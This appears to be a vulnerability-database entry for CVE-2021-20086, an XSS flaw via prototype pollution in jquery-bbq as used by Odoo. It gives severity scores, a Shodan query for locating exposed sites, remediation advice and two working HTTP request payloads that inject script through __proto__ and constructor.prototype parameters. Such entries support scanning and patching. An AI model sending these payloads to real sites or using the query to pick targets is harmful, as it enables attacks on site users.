| Title | Odoo Apps - Cross-Site Scripting via Prototype Pollution |
|---|---|
| Author | 1337rokudenashi |
| Severity | High |
| Impact | Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation. |
| Remediation | Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution. |
| CVSS Score | 8.8 |
| EPSS Score | 0.30086 |
| CVE ID | CVE-2021-20086 |
| CWE ID | CWE-1321 |
| Shodan Query | html:"Odoo" |
| Tags | cve cve2021 odoo xss proto jquery vuln |
jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.
GET /?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20086.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20086.pcap
N/AN/A